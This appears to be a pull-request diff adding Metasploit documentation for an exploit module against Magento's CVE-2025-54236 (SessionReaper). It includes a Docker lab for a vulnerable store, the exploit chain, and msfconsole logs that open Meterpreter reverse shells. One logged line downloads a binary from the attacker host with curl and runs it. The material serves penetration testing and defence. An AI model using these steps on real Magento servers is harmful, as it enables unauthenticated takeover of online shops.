Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
398 changes: 398 additions & 0 deletions documentation/modules/exploit/multi/http/magento_sessionreaper.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,398 @@
## Vulnerable Application

Magento/Adobe Commerce is a popular e-commerce platform written in PHP. A vulnerability exists in Magento 2.x that
allows an unauthenticated user to gain arbitrary code execution through nested deserialization and unauthenticated file
upload.

This vulnerability (CVE-2025-54236, also known as SessionReaper) affects Magento 2.x instances using file-based session
storage. The module was specifically tested against Magento 2.4.4.

### Description

This module exploits CVE-2025-54236 (SessionReaper) in Magento/Adobe Commerce. The vulnerability allows unauthenticated
remote code execution through nested deserialization and unauthenticated file upload.

The exploit chain:
1. Uploads a malicious session file via unauthenticated endpoint `/customer/address_file/upload`
2. Triggers deserialization by modifying session savePath via REST API endpoint
`/rest/default/V1/guest-carts/{cart_id}/order`
3. Executes arbitrary PHP code

Patched versions return 400 Bad Request instead of processing the payload.

### Installation

#### Magento 2.4.4 with Docker

Create a directory for the lab environment:

```bash
mkdir -p test/magento
cd test/magento
```

Create `docker-compose.yml`:

```yaml
version: '3.8'

services:
app:
build:
context: .
dockerfile: Dockerfile
args:
- MYSQL_HOST=db
- ELASTICSEARCH_HOST=elasticsearch
container_name: magento-test
ports:
- "8082:80"
environment:
- MYSQL_HOST=db
- MYSQL_DATABASE=magento
- MYSQL_USER=magento
- MYSQL_PASSWORD=magento
- ELASTICSEARCH_HOST=elasticsearch
- ELASTICSEARCH_PORT=9200
- PHP_MEMORY_LIMIT=2G
volumes:
- appdata:/var/www/html
- sessions:/var/www/html/var/session
depends_on:
- db
- elasticsearch
restart: unless-stopped

db:
image: mariadb:10.4
container_name: magento-db
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=magento
- MYSQL_USER=magento
- MYSQL_PASSWORD=magento
volumes:
- dbdata:/var/lib/mysql
restart: unless-stopped

elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
container_name: magento-elasticsearch
environment:
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- xpack.security.enabled=false
volumes:
- esdata:/usr/share/elasticsearch/data
restart: unless-stopped

volumes:
appdata:
sessions:
dbdata:
esdata:
```
Create `Dockerfile`:

```dockerfile
FROM php:7.4-apache
# Install system dependencies
RUN apt-get update && apt-get install -y \
libxml2-dev \
libxslt-dev \
libzip-dev \
libonig-dev \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
libicu-dev \
git \
unzip \
curl \
wget \
default-mysql-client \
&& rm -rf /var/lib/apt/lists/*
# Install PHP extensions
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install -j$(nproc) \
bcmath \
dom \
gd \
intl \
mbstring \
mysqli \
opcache \
pdo_mysql \
soap \
xsl \
zip \
sockets
# Install Composer
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
# Enable mod_rewrite
RUN a2enmod rewrite
# Create installation script inline
RUN cat > /install-magento.sh << 'INSTALL_EOF'
#!/bin/bash
set -e
echo "[*] Downloading Magento 2.4.4 (vulnerable to CVE-2025-54236)..."
cd /tmp
rm -rf magento2-2.4.4 magento.tar.gz
wget -q https://github.com/magento/magento2/archive/2.4.4.tar.gz -O magento.tar.gz
echo "[*] Extracting Magento..."
tar -xzf magento.tar.gz
echo "[*] Copying Magento files to /var/www/html..."
cd /var/www/html
for item in * .*; do
[ "$item" = "." ] || [ "$item" = ".." ] || [ "$item" = "var" ] && continue
rm -rf "$item" 2>/dev/null || true
done
cp -r /tmp/magento2-2.4.4/* /var/www/html/
cp -r /tmp/magento2-2.4.4/.* /var/www/html/ 2>/dev/null || true
rm -rf /tmp/magento.tar.gz /tmp/magento2-2.4.4
cd /var/www/html
echo "[*] Setting permissions..."
chown -R www-data:www-data /var/www/html
chmod -R 755 /var/www/html
echo "[*] Installing Composer dependencies..."
composer self-update --1 2>/dev/null || true
php -d memory_limit=2G /usr/local/bin/composer install --no-dev --optimize-autoloader --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || echo "[!] Composer install had issues"
php -d memory_limit=2G /usr/local/bin/composer update --no-dev --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || true
echo "[*] Installing Magento..."
php -d memory_limit=2G bin/magento setup:install \
--base-url=http://127.0.0.1:8082/ \
--db-host=db \
--db-name=magento \
--db-user=magento \
--db-password=magento \
--admin-firstname=Admin \
--admin-lastname=User \
[email protected] \
--admin-user=admin \
--admin-password=Admin123! \
--language=en_US \
--currency=USD \
--timezone=America/New_York \
--use-rewrites=1 \
--backend-frontname=admin \
--search-engine=elasticsearch7 \
--elasticsearch-host=elasticsearch \
--elasticsearch-port=9200 2>&1
if [ -f /var/www/html/app/etc/env.php ]; then
echo "[*] Configuring file-based sessions..."
php -r "\$env = include 'app/etc/env.php'; \$env['session'] = ['save' => 'files']; file_put_contents('app/etc/env.php', '<?php return ' . var_export(\$env, true) . ';');"
echo "[*] Compiling Magento code..."
php -d memory_limit=2G bin/magento setup:di:compile 2>&1 | grep -E "(Compilation|SUCCESS|complete)" || echo "[!] Compilation output filtered"
echo "[*] Setting final permissions..."
chmod 644 /var/www/html/app/etc/env.php
chown www-data:www-data /var/www/html/app/etc/env.php
mkdir -p /var/www/html/var/session
chmod -R 777 /var/www/html/var
chown -R www-data:www-data /var/www/html/var
echo "[*] Magento installation complete!"
else
echo "[!] Installation failed - env.php not found"
exit 1
fi
INSTALL_EOF
RUN chmod +x /install-magento.sh
# Create entrypoint script inline
RUN cat > /entrypoint.sh << 'ENTRYPOINT_EOF'
#!/bin/bash
set -e
echo "[*] Starting Apache..."
apache2-foreground &
APACHE_PID=$!
echo "[*] Waiting for MySQL..."
until mysqladmin ping -h db -u magento -pmagento --silent 2>/dev/null; do
echo "[*] MySQL not ready, waiting..."
sleep 2
done
echo "[*] MySQL ready!"
echo "[*] Waiting for Elasticsearch..."
until curl -s http://elasticsearch:9200 >/dev/null 2>&1; do
echo "[*] Elasticsearch not ready, waiting..."
sleep 2
done
echo "[*] Elasticsearch ready!"
if [ ! -f /var/www/html/app/etc/env.php ]; then
echo "[*] Magento not found, installing..."
/install-magento.sh
echo "[*] Installation script completed"
else
echo "[*] Magento already installed"
fi
echo "[*] Ensuring session directory exists..."
mkdir -p /var/www/html/var/session
chmod -R 777 /var/www/html/var
chown -R www-data:www-data /var/www/html/var
echo "[*] ========================================"
echo "[*] Magento ready: http://127.0.0.1:8082/"
echo "[*] Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)"
echo "[*] ========================================"
wait $APACHE_PID
ENTRYPOINT_EOF
RUN chmod +x /entrypoint.sh
# Set working directory
WORKDIR /var/www/html
# Configure PHP memory limits
RUN echo "memory_limit = 2G" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
echo "upload_max_filesize = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
echo "post_max_size = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini
EXPOSE 80
ENTRYPOINT ["/entrypoint.sh"]
```

Build and start the containers:

```bash
docker compose up -d --build
```

Wait for the services to be ready (MySQL and Elasticsearch). The entrypoint script will automatically:
- Wait for MySQL and Elasticsearch to be ready
- Download and install Magento 2.4.4
- Configure file-based session storage
- Set proper permissions

Access Magento:
- Frontend: http://127.0.0.1:8082/
- Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)

The lab uses:
- Magento 2.4.4 (vulnerable version)
- PHP 7.4
- MariaDB 10.4
- Elasticsearch 7.17.0

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/http/magento_sessionreaper`
3. Do: `set RHOSTS <target_ip>`
4. Do: `set RPORT 8082` (or the appropriate port)
5. Do: `set TARGET 1` (for Unix/Linux Command Shell)
6. Do: `set payload cmd/linux/http/x64/meterpreter/reverse_tcp`
7. Do: `set LHOST <your_ip>`
8. Do: `set LPORT 4444`
9. Do: `run`
10. You should get a Meterpreter session

## Options

This module does not require any additional options beyond the standard HTTP client options.

## Scenarios

### Target 0 - PHP In-Memory (Magento 2.4.4 on Docker)

```
msf > use exploit/multi/http/magento_sessionreaper
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set RHOSTS 172.21.0.1
RHOSTS => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set RPORT 8082
RPORT => 8082
msf exploit(multi/http/magento_sessionreaper) > set TARGET 0
TARGET => 0
msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
LHOST => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/magento_sessionreaper) > run

[*] Started reverse TCP handler on 172.21.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_73351c2463bf78124de49e6c5fe6804a
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/AbfsP.php
[*] Sending stage (41224 bytes) to 172.21.0.4
[*] Meterpreter session 1 opened (172.21.0.1:4444 -> 172.21.0.4:60798) at 2025-11-24 20:55:44 +0100

meterpreter > sysinfo
Computer : 93d562876bca
OS : Linux 93d562876bca 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter > exit
[*] Shutting down session: 1
[*] 172.21.0.1 - Meterpreter session 1 closed. Reason: User exit
```
### Target 1 - Unix/Linux Command Shell (Magento 2.4.4 on Docker)
```
msf exploit(multi/http/magento_sessionreaper) > set TARGET 1
TARGET => 1
msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
LHOST => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/magento_sessionreaper) > run

[*] Command to run on remote host: curl -so ./tVLJyRtY http://172.21.0.1:8080/jA-UlkUXeCwJQV_LW9doGw;chmod +x ./tVLJyRtY;./tVLJyRtY&
[*] Fetch handler listening on 172.21.0.1:8080
[*] HTTP server started
[*] Adding resource /jA-UlkUXeCwJQV_LW9doGw
[*] Started reverse TCP handler on 172.21.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_f96806648d613cac927613576dd37dc8
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/AGD3.php
[*] Client 172.21.0.4 requested /jA-UlkUXeCwJQV_LW9doGw
[*] Sending payload to 172.21.0.4 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.4
[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.4:47580) at 2025-11-24 20:56:19 +0100

meterpreter > sysinfo
Computer : 172.21.0.4
OS : Debian 11.5 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Check Command
```
msf exploit(multi/http/magento_sessionreaper) > check
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
```
## References
- [CVE-2025-54236](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54236)
- [Searchlight Cyber Blog - Why Nested Deserialization is Still Harmful: Magento RCE CVE-2025-54236]
(https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/)
- [Adobe Security Bulletin](https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397)
Loading